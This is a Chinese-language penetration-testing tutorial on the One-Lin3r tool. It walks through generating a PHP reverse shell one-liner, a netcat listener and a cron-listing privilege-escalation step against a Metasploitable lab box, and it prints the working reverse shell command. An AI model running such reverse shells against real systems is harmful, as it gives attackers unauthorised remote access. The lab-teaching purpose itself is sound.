使用One-Lin3r快速生成反向shell,Privesc
一遍又一遍地执行琐碎的任务可能会浪费大量时间,尤其是在涉及黑客和渗透测试时。尝试使用不同的Shell拥有目标,然后再测试特权提升命令,可能会花费大量时间。幸运的是,有一个名为One-Lin3r的工具可以快速生成shell,privesc命令等。
One-Lin3r是一个Python具,可作为框架自动执行通常在笔测和黑客活动中使用的单行代码。它的用法与Metasploit常相似,因此对大多数人来说很自然而又简单。该工具包含自动完成,搜索建议,自动复制和智能搜索等功能,使查找所需内容变得轻而易举。
安装和基本用法
我们需要做的第一件事是安装One-Lin3r。它需要Python 3,所以最简单的方法是使用pip3。它将安装该工具以及可能需要的所有依赖项。
~# pip3 install one-lin3r
我们可以通过-h标志来运行基本的帮助菜单:
~# one-lin3r -h
optional arguments:
-h, --help show this help message and exit
-r R Execute a resource file.
-x X Execute a specific command (use ; for multiples).
-q Quiet mode (no banner).
One-Lin3r是一个框架,因此要真正使用它,我们需要启动它。在终端窗口键入one-lin3r即可:
键入帮助:?
由于我们在运行One-Lin3r时仅限于框架提示,因此能够在工作时运行操作系统命令非常有用。使用os关键字,然后输入要运行的命令:
OneLiner > os uname -a
我们可以使用list命令显示该工具必须提供的所有可用单线。它将列出每个名称和相关功能。
我们还可以使用search命令搜索特定项目。这是One-Lin3r真正擅长的。它不仅具有自动完成功能,而且还通过提供建议并允许部分搜索词来了解您要搜索的内容。
例如,假设我们想要某种用于Linux 的PHP shell。我们不需要为该工具键入完整路径即可找到我们想要的东西。
我们可以使用info命令获取有关特定单线的信息,这将使我们对该项目进行简短描述,包括其作者,函数和使用的变量。
反向shell示例
以使用use命令加载:
OneLiner > use linux/php/reverse_tcp
完成此操作后,它将为我们提供复制和运行所需的实际行。在此示例中,我们可以看到目标和端口的参数。要显示当前变量及其关联值,只需在提示符下键入变量:
现在,我们可以为这些变量设置值,就像我们在Metasploit中所做的一样。由于我们在这里生成一个反向shell,因此我们需要将目标设置为本地计算机的IP地址:
OneLiner > set target 10.10.0.1
和所需的端口,以便它可以连接回我们的侦听器:
OneLiner > set port 4321
现在,当我们再次显示变量时,我们可以看到设置了我们的值:
让我们尝试一下。首先,我们需要设置一个侦听器,以便我们可以捕获来自目标的传入连接。Netcat始终是一个不错的选择:
~# nc -lvp 4321listening on [any] 4321 ...
获取完整的命令
OneLiner > use linux/php/reverse_tcp[ ] Your liner is: php -r '$sock=fsockopen("10.10.0.1",4321);exec("/bin/sh -i <&3 >&3 2>&3");'
我们可以像平常一样复制此命令,但One-Lin3r实际上具有为我们自动执行此功能的功能。除了使用use命令加载项目外,还可以使用copy命令加载项目-这将自动将我们需要的内容直接复制到剪贴板:
OneLiner > copy linux/php/reverse_tcp
从这里开始是时候利用目标了。随意执行此操作,但是命令执行始终是我的最爱。一旦利用了目标并运行了反向shell命令,我们应该会在本地计算机上看到一个连接打开:
Privesc示例
既然我们已经在系统上以受限用户身份使用Shell,那么下一步就是权限提升。幸运的是,One-Lin3r还包含一些方便的privesc命令供我们生成。
首先,让我们将这个shell升级到完全交互式的TTY会话,以便我们可以更好地控制正在执行的操作。
现在我们有了一个不错的外壳,让我们找到一个可能使用的privesc命令。我通常喜欢在漏洞利用后在世界可写目录下工作,以便我可以编写和执行所需的任何内容- / var / tmp是一个不错的选择:
www-data@metasploitable:
/var/www/dvwa/vulnerabilities/exec$ cd /var/tmp
现在,回到One-Lin3r,我们可以为Linux搜索合适的privesc:
让我们看一看,它将列出当前用户的所有作业:
似乎非常简单,我们甚至不需要设置任何变量。使用copy命令将其直接复制到剪贴板:
OneLiner > copy linux/bash/list_cronjobs_for_current_user
[ ] Your liner is: crontab -l[ ] Liner copied to clipboard successfully!
我们可以看到它仍然告诉我们它生成了什么,但是我们通过自动复制命令节省了额外的步骤。剩下要做的唯一一件事就是在目标上运行单一代码:
www-data@metasploitable:
/var/tmp$ crontab -lno crontab for www-data